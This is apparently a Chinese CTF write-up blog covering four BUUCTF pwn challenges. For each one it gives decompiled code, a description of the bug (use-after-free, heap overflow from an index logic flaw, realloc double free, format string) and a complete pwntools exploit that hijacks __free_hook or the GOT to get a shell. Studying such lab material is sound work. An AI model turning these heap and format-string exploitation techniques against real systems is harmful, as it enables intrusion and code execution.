gyctf_2020_document$ file gyctf_2020_document;checksec gyctf_2020_document
gyctf_2020_document: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=54811a534aab1bd40188ff6bfcff12dbeafb5f08, stripped
[*] '/home/pwn/桌面/gyctf_2020_document/gyctf_2020_document'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
正常题目, 保护全开
add函数, name, sex, info
unsigned __int64 add()
{
int i; // [rsp+Ch] [rbp-24h]
_QWORD *v2; // [rsp+10h] [rbp-20h]
_QWORD *content; // [rsp+18h] [rbp-18h]
__int64 s; // [rsp+20h] [rbp-10h] BYREF
unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u);
for ( i = 0; i < 7; ++i )
{
if ( !docs[i] )
{
v2 = malloc(8uLL); // 0x10 chunk
content = malloc(0x80uLL);
if ( !v2 || !content )
{
puts("Error occured!!!");
exit(2);
}
puts("add success");
*v2 = content;
v2[1] = 1LL;
puts("input name");
memset(&s, 0, sizeof(s));
readchs(&s, 8LL);
*content = s; // content[0] <- name
puts("input sex");
memset(&s, 0, sizeof(s));
readchs(&s, 1LL);
puts("here");
if ( (_BYTE)s == ch_W[0] )
{
content[1] = 1LL; // content[1] <- sex
}
else
{
puts("there");
content[1] = 16LL;
}
puts("input information");
readchs(content + 2, 112LL); // content[2] <- information
docs[i] = v2;
puts("Success");
break;
}
}
if ( i == 7 )
puts("Th3 1ist is fu11");
return __readfsqword(0x28u) ^ v5;
}
delete函数, UAF
unsigned __int64 delete()
{
unsigned int v1; // [rsp+Ch] [rbp-24h]
char buf[8]; // [rsp+20h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("Give me your index : ");
read(0, buf, 8uLL);
v1 = atoi(buf);
if ( v1 >= 7 )
{
puts("Out of list");
}
else if ( *((_QWORD *)&unk_202060 + v1) )
{
free(**((void ***)&unk_202060 + v1));
}
else
{
puts("invalid");
}
return __readfsqword(0x28u) ^ v3;
}
比较常规的UAF打free_hook(或者malloc_hook)
from pwn import *
url, port = "node4.buuoj.cn", 27352
filename = "./gyctf_2020_document"
elf = ELF(filename)
libc = ELF("./libc64-2.23.so")
context(arch="amd64", os="linux")
local = 0
if local:
context.log_level = "debug"
io = process(filename)
else:
io = remote(url, port)
def B():
gdb.attach(io)
pause()
lf = lambda addrstring, address: log.info('{}: %#x'.format(addrstring), address)
def add(name, sex, content):
io.sendlineafter('Give me your choice : \n', '1')
io.sendafter("input name\n", name)
io.sendafter("input sex\n", sex)
io.sendafter("input information\n", content)
def show(index):
io.sendlineafter('Give me your choice : \n', '2')
io.sendlineafter("Give me your index : \n", str(index))
def edit(index, content):
io.sendlineafter('Give me your choice : \n', '3')
io.sendlineafter("Give me your index : \n", str(index))
io.sendlineafter("Are you sure change sex?\n", 'N')
io.sendafter("Now change information\n", content)
def delete(index):
io.sendlineafter('Give me your choice : \n', '4')
io.sendlineafter("Give me your index : \n", str(index))
def pwn():
add('ffffa1c4', 'guesssss', cyclic(0x70))
add('ffffa1c4', 'guesssss', cyclic(0x70))
delete(0)
show(0)
libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x3c4b20 - 88
free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
lf('free hook address', free_hook)
lf('system address', system_addr)
add('/bin/sh\x00', '/bin/sh\x00', cyclic(0x70))
delete(1)
add('/bin/sh\x00', '/bin/sh\x00', cyclic(0x70))
payload = p64(0) + p64(0x21) + p64(free_hook - 0x10)
payload += p64(1) + p64(0) + p64(0x51)
payload = payload.ljust(0x70, b'\x00')
edit(0, payload)
payload = p64(system_addr).ljust(0x70, b'\x00')
edit(3, payload)
delete(2)
if __name__ == "__main__":
pwn()
io.interactive()
ciscn_2019_final_5$ file ciscn_final_5;checksec ciscn_final_5
ciscn_final_5: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ../glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so, for GNU/Linux 2.6.32, BuildID[sha1]=ad75f1d8a9c718fae2aeb53bf0ebc5892400524c, stripped
[*] '/home/pwn/桌面/ciscn_2019_final_5/ciscn_final_5'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
add函数, 这个题的处理是比较奇怪的, 因为buf会和index进行|
操作
__int64 add()
{
__int64 result; // rax
int i; // [rsp+4h] [rbp-1Ch]
int size; // [rsp+8h] [rbp-18h]
int index; // [rsp+Ch] [rbp-14h]
void *buf; // [rsp+10h] [rbp-10h]
__int64 or_res; // [rsp+18h] [rbp-8h]
printf("index: ");
index = choice("index: ");
if ( index < 0 || index > 16 )
{
puts("index is invalid.");
exit(-1);
}
printf("size: ");
size = choice("size: ");
if ( size < 0 || size > 4096 )
{
puts("size is invalid.");
exit(-1);
}
buf = malloc(size);
if ( !buf )
{
puts("malloc error.");
exit(-1);
}
printf("content: ");
read(0, buf, size);
print_low12bits(buf);
result = buf_or_index(buf, (unsigned int)index);
or_res = result;
for ( i = 0; i <= 16; ++i )
{
result = contents[i];
if ( !result )
{
contents[i] = or_res;
result = i;
sizes[i] = size;
break;
}
}
if ( i == 17 )
{
puts("heap note is full.");
exit(-1);
}
return result;
}
delete函数, 也比较诡异, 因为索引的下标和content的内容相关, 而且free掉的指针是抹掉低4bits的
int delete()
{
int result; // eax
int i; // [rsp+8h] [rbp-8h]
int index; // [rsp+Ch] [rbp-4h]
printf("index: ");
result = choice("index: ");
index = result;
if ( result < 0 || result > 16 )
{
puts("index is invalid.");
exit(-1);
}
for ( i = 0; i <= 16; ++i )
{
result = content_and_0xF(contents[i]);
if ( result == index )
{
free((void *)(contents[i] & 0xFFFFFFFFFFFFFFF0LL));
contents[i] = 0LL;
sizes[i] = 0;
result = puts("free success.\n");
break;
}
}
if ( i == 17 )
{
puts("free is invalid.");
exit(-1);
}
return result;
}
漏洞通常出现在程序奇怪的逻辑处, 这题的漏洞也是出在index索引算法上
因为chunk的分配会对齐0x10, 所以低4bits均为0, 用ptr & 0xFFFFFFFFFFFFFFF0
取指针是没问题的, 而在add时, 会把index | buf
, 即buf指针实际上最后一位应该为0, 但是用来存储了index, (应该算是一种空间优化?
所以ptr & 0xF
是取出index进行索引, 整体逻辑是行得通的, 但是问题也就出在这里.
考虑特殊情况, 如果输入index == 0x10
, 此时ptr | 0x10
会改变实际的地址, 用低4bits保存index的预期功能就错了, 此时ptr & 0xF
取出来的index为0, 所以index == 0x10
和index == 0
索引到同一个index. 而且edit功能里这一点也可以利用, 因为指针会指向ptr & 0xFFFFFFFFFFFFFFF0
, 而ptr | 0x10
已经将ptr抬高了0x10, 所以会修改到邻近的下一个chunk的chunk header, 也就能控制presize
和size
域
这个题就是逻辑漏洞的堆溢出, 改完chunk的size, delete之后会进入unsorted bin, 申请回来则可以控制更高地址的chunks, 用tcache attack申请出free_got地址的chunk, 修改free@got到puts@plt, 泄露libc然后再修改free@got到system
因为索引地址的算法问题, 需要修改0x602010的地址处才能覆盖free@got, 而且应该用index=8索引, 下图是调试时用index=0索引发现索引到puts@got, 才意识到索引算法的问题所在
另外因为index是按content的低4bits的值索引的, 而且是从小到大遍历索引, 所以需要puts_got + 1
, 而free@got
用index=8
索引, 最后delete掉第0个index的content, 再用index=8
索引到atoi@got
, 利用索引算法的歧义性完成payload的构造, 这里的利用相当精巧
from pwn import *
url, port = "node4.buuoj.cn", 25558
filename = "./ciscn_final_5"
elf = ELF(filename)
libc = ELF("./libc.so.6")
context(arch="amd64", os="linux")
local = 0
if local:
context.log_level = "debug"
io = process(filename)
else:
io = remote(url, port)
def B():
gdb.attach(io)
pause()
lf = lambda addrstring, address: log.info('{}: %#x'.format(addrstring), address)
def add(index, size, content):
io.sendlineafter('your choice: ', '1')
io.sendlineafter('index: ', str(index))
io.sendlineafter('size: ', str(size))
io.sendafter('content: ', content)
io.recvuntil('low 12 bits: ')
return int(io.recvuntil('\n', drop=True), 16)
def delete(index):
io.sendlineafter('your choice: ', '2')
io.sendlineafter('index: ', str(index))
def edit(index, content):
io.sendlineafter('your choice: ', '3')
io.sendlineafter('index: ', str(index))
io.sendafter('content: ', content)
def pwn():
free_got = elf.got['free']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
atoi_got = elf.got['atoi']
contents_addr = 0x00000000006020E0
add(16, 0x20, 'chunk0')
add(1, 0x20, 'chunk1')
add(2, 0x20, 'chunk2')
add(3, 0x20, 'chunk3')
add(4, 0x20, 'chunk4')
# B()
payload = cyclic(0x10) + p64(0) + p64(0x181)
edit(0, payload)
# B()
delete(1) # unsorted bin
delete(2)
payload = cyclic(0x20) + p64(0) + p64(0x31) + p64(contents_addr)
add(1, 0x170, payload)
# B()
add(2, 0x20, 'chunk5')
payload = p64(free_got) + p64(puts_got + 1) + p64(atoi_got) * 2
# B()
add(5, 0x20, payload)
# B()
edit(8, p64(puts_plt) * 2)
# B()
delete(1) # leak puts address
puts_addr = u64(io.recvuntil('\n', drop=True).ljust(8, b'\x00'))
libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
lf('puts address', puts_addr)
lf('system address', system_addr)
delete(8) # set free@got to 0 and index will get atoi@got
edit(8, p64(system_addr) * 2)
io.sendlineafter('your choice: ', '/bin/sh\x00')
if __name__ == "__main__":
pwn()
io.interactive()
小结
逻辑漏洞 + 堆溢出 + tcache attack + 无show泄露 + 劫持got表
roarctf_2019_realloc_magic$ file roarctf_2019_realloc_magic;checksec roarctf_2019_realloc_magic
roarctf_2019_realloc_magic: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=3d7be4b70bdfe7373cf768112a90fe7f2783264e, not stripped
[*] '/home/pwn/桌面/roarctf_2019_realloc_magic/roarctf_2019_realloc_magic'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
保护全开
只有add和delete以及一个清空realloc_ptr的函数, 因为保护Full RELRO
开启, 所以也无法劫持got表实现free@got到puts@plt泄露libc
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax
init(argc, argv, envp);
while ( 1 )
{
menu();
v3 = get_int();
switch ( v3 )
{
case 2:
fr();
break;
case 666:
ba();
break;
case 1:
re();
break;
default:
puts("invalid choice");
break;
}
}
}
ba函数, 将realloc_ptr置为0, 但只能用一次
int ba()
{
if ( lock )
exit(-1);
lock = 1;
realloc_ptr = 0LL;
return puts("Done");
}
re函数, 即delete函数, 如果用re函数释放chunk, 这里由于realloc的特性, 不会将ptr置为空, 所以存在double free漏洞
int re()
{
unsigned int size; // [rsp+Ch] [rbp-4h]
puts("Size?");
size = get_int();
realloc_ptr = realloc(realloc_ptr, size);
puts("Content?");
read(0, realloc_ptr, size);
return puts("Done");
}
整个程序一次只能操控一个chunk, 实际上也够了
这题需要realloc的冷(re)知识
realloc(realloc_ptr, size);
(1) realloc_ptr != null && size == 0, 相当于free
(2) realloc_ptr == null && size > 0, 相当于malloc
(3) 原size >= realloc的size, 则chunk直接缩小, 剩余部分归到bins中, 返回ptr
(4) 原size < realloc的size, 分两种情况, 如果该chunk之后空间充足, 则直接扩充然后返回ptr; 否则另外malloc(size), copy内容过去, 然后free(原ptr), 返回新ptr.
因为保护全开且无show, 所以这种情况还需要利用_IO_2_1_stdout_
实现无show泄露
原理可以参考Ex师傅的blog
漏洞利用: unsortedbin attack + tcache attack劫持_IO_2_1_stdout_
(需要爆破4bits, 1/16的概率), 泄露libc; 然后清空ptr指针, 继续tcache attack劫持free_hook到one gadget
from pwn import *
url, port = "node4.buuoj.cn", 29332
filename = "./roarctf_2019_realloc_magic"
elf = ELF(filename)
libc = ELF("./libc64-2.27.so")
context(arch="amd64", os="linux")
local = 0
context.log_level = "debug"
def B():
gdb.attach(io)
pause()
lf = lambda addrstring, address: log.info('{}: %#x'.format(addrstring), address)
def realloc(size=0, content=b'\x00'):
io.sendlineafter('>> ', '1')
io.sendlineafter('Size?', str(size))
io.recvuntil("Content?")
if size > 0: io.send(content)
def delete():
io.sendlineafter('>> ', '2')
def clearptr():
io.sendlineafter('>> ', '666')
'''
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
def pwn():
one_gadgets = [0x4f2c5, 0x4f322, 0x10a38c]
realloc(0x30)
realloc()
realloc(0x80)
realloc()
realloc(0x40)
realloc()
realloc(0x80)
for i in range(7): # fill tcache
delete()
realloc() # put into unsortbin
realloc(0x30)
payload = cyclic(0x38) + p64(0x51) + p8(0x60) + p8(0x87)
realloc(0x50, payload) # overlap
realloc()
# B()
realloc(0x80)
# B()
realloc()
payload = p64(0xFBAD1887) + p64(0) * 3 + p8(0x58)
# get _IO_2_1_stdout_ and change flag
realloc(0x80, payload)
# leak libc
libc_base = u64(io.recvuntil(b'\x7f', timeout=0.5)[-6:].ljust(8, b'\x00')) - 0x3e82a0
# if libc_base == -0x3e82a0: exit(-1)
lf('libc base address', libc_base)
free_hook = libc_base + libc.sym['__free_hook']
one_gadget = libc_base + one_gadgets[1]
clearptr()
# exploiting the same as above
realloc(0x110)
realloc()
realloc(0x120)
realloc()
realloc(0x130)
realloc()
realloc(0x120)
for i in range(7):
delete()
realloc()
realloc(0x110)
payload = cyclic(0x118) + p64(0x241) + p64(free_hook)
realloc(0x240, payload)
realloc()
realloc(0x120)
realloc()
realloc(0x120, p64(one_gadget))
delete()
if __name__ == "__main__":
while True:
if local:
io = process(filename)
else:
io = remote(url, port)
try:
pwn()
io.interactive()
except:
io.close()
之后本地打通了, 但是打远程的时候发现上百次pwn都打不通, 可能是网络延迟问题, 把timeout改大一点就通了
小结
realloc double free + unsorted bin attack + _IO_2_1_stdout_泄露libc + tcache attack(tcache poisoning) + 爆破4bits + 劫持free_hook + 打one_gadget
肉眼可见的复杂度 OvO (其实也还好, 就是调试比较费劲, 前后调了3个多小时
经典题目, 看另一篇单独的blog解析
hitcon2016 house of orange
SWPUCTF_2019_login$ file SWPUCTF_2019_login;checksec SWPUCTF_2019_login
SWPUCTF_2019_login: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=dbbf329da12ebdd87dcae5d032eda61796f7d0c3, stripped
[*] '/home/pwn/桌面/SWPUCTF_2019_login/SWPUCTF_2019_login'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
int __cdecl main()
{
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
puts("Please input your name: ");
read(0, &unk_804B080, 0xCu);
puts("Base maybe not easy......");
return sub_80485E3();
}
int sub_80485E3()
{
printf("hello, %s", byte_804B080);
return sub_804854B();
}
不过利用方法, 跟堆上的fmt漏洞相似, 为ebp链实现的got表劫持
from pwn import *
url, port = "node4.buuoj.cn", 26466
filename = "./SWPUCTF_2019_login"
elf = ELF(filename)
libc = ELF('./libc32-2.27.so')
context(arch="i386", os="linux")
local = 0
if local:
context.log_level = "debug"
io = process(filename)
else:
io = remote(url, port)
def B():
gdb.attach(io)
pause()
lf = lambda addrstring, address: log.info('{}: %#x'.format(addrstring), address)
def pwn():
io.sendlineafter('name:', 'fa1c4')
io.sendlineafter('password:', '%15$p')
io.recvuntil('0x')
__libc_start_main = int(io.recvuntil('\n', drop=True), 16) - 0xf1
libc_base = __libc_start_main - libc.sym['__libc_start_main']
system_addr = libc_base + libc.sym['system']
lf('libc base address', libc_base)
lf('system address', system_addr)
io.sendlineafter('Try again!', '%6$p')
io.recvuntil('0x')
stack_addr0 = int(io.recvuntil('\n', drop=True), 16)
lf('stack address 0', stack_addr0)
io.sendlineafter('Try again!', '%10$p')
io.recvuntil('0x')
stack_addr1 = int(io.recvuntil('\n', drop=True), 16)
lf('stack address 1', stack_addr1)
# change $14$p to printf@got
payload = '%' + str(0x14) + 'c' + '%10$hhn'
io.sendlineafter('Try again!', payload) # 0x14
payload = '%' + str((stack_addr1 & 0xff) + 1) + 'c' + '%6$hhn'
io.sendlineafter('Try again!', payload)
payload = '%' + str(0xb0) + 'c' + '%10$hhn'
io.sendlineafter('Try again!', payload) # 0xb0
payload = '%' + str((stack_addr1 & 0xff) + 2) + 'c' + '%6$hhn'
io.sendlineafter('Try again!', payload)
payload = '%' + str(0x04) + 'c' + '%10$hhn'
io.sendlineafter('Try again!', payload) # 0x04
payload = '%' + str((stack_addr1 & 0xff) + 3) + 'c' + '%6$hhn'
io.sendlineafter('Try again!', payload)
payload = '%' + str(0x08) + 'c' + '%10$hhn'
io.sendlineafter('Try again!', payload) # 0x08
# change %15$p to printf@got + 1
stack_addr2 = stack_addr1 + 4
payload = '%' + str(stack_addr2 & 0xff) + 'c' + '%6$hhn'
io.sendlineafter('Try again!', payload)
payload = '%' + str(0x15) + 'c' + '%10$hhn'
io.sendlineafter('Try again!', payload) # 0x15
payload = '%' + str((stack_addr2 & 0xff) + 1) + 'c' + '%6$hhn'
io.sendlineafter('Try again!', payload)
payload = '%' + str(0xb0) + 'c' + '%10$hhn'
io.sendlineafter('Try again!', payload) # 0xb0
payload = '%' + str((stack_addr2 & 0xff) + 2) + 'c' + '%6$hhn'
io.sendlineafter('Try again!', payload)
payload = '%' + str(0x04) + 'c' + '%10$hhn'
io.sendlineafter('Try again!', payload) # 0x04
payload = '%' + str((stack_addr2 & 0xff) + 3) + 'c' + '%6$hhn'
io.sendlineafter('Try again!', payload)
payload = '%' + str(0x08) + 'c' + '%10$hhn'
io.sendlineafter('Try again!', payload) # 0x08
payload = '%' + str(system_addr & 0xff) + 'c' + '%14$hhn'
payload += '%' + str(((system_addr & 0xffff00) >> 8) - 0x10) + 'c' + '%15$hn'
io.sendlineafter('Try again!', payload)
sleep(0.3)
io.sendline('/bin/sh\x00')
if __name__ == "__main__":
pwn()
io.interactive()
这个题本地调试(Ubuntu20.04)跟远程环境有差, 目前没找到原因, 可能需要用ubuntu18? 暂时先算一个疑点, 之后回来填坑
断断续续花了几个月时间刷BUUCTF的PWN题, 截止目前已经做了130题, 并且全部都是python3打的(一个是有点标新立异的意味, 另一个是强制要求亲自实现每一个exp, 因为大部分师傅的exp都是python2写的, 直接ctrl c +ctrl v一般都不能通)
水平还是挺菜的, 不过应该算是入门了基础的PWN, 现在也要正式考虑一下PWN二转的事情了, 跟着圈内师傅们混和各种涉猎也算有一点点积累, PWN二转可以考虑的方向包括但不限于:
以及漏洞挖掘方向
当然漏洞挖掘方向fuzzing也只是一个分支, 目前还没入坑, 暂且先这么总结叭
AI方向 (BinaryAI
程序分析方向
其实程序分析应该算是一门独立的学科, 虽然可以服务于漏洞挖掘和利用
程序分析基础也要开始学习了, 科研工作标配之一…
总之PWN的世界之广阔和丰富依然是才疏学浅的我难以想象的
BUUCTF PWN WP系列先停更一段时间, 目前的打算是之后比较长一段时间将处在开荒阶段, 开始探索各个有趣的新地图了
这里再引用一次TK教主的口头禅: 先干了再说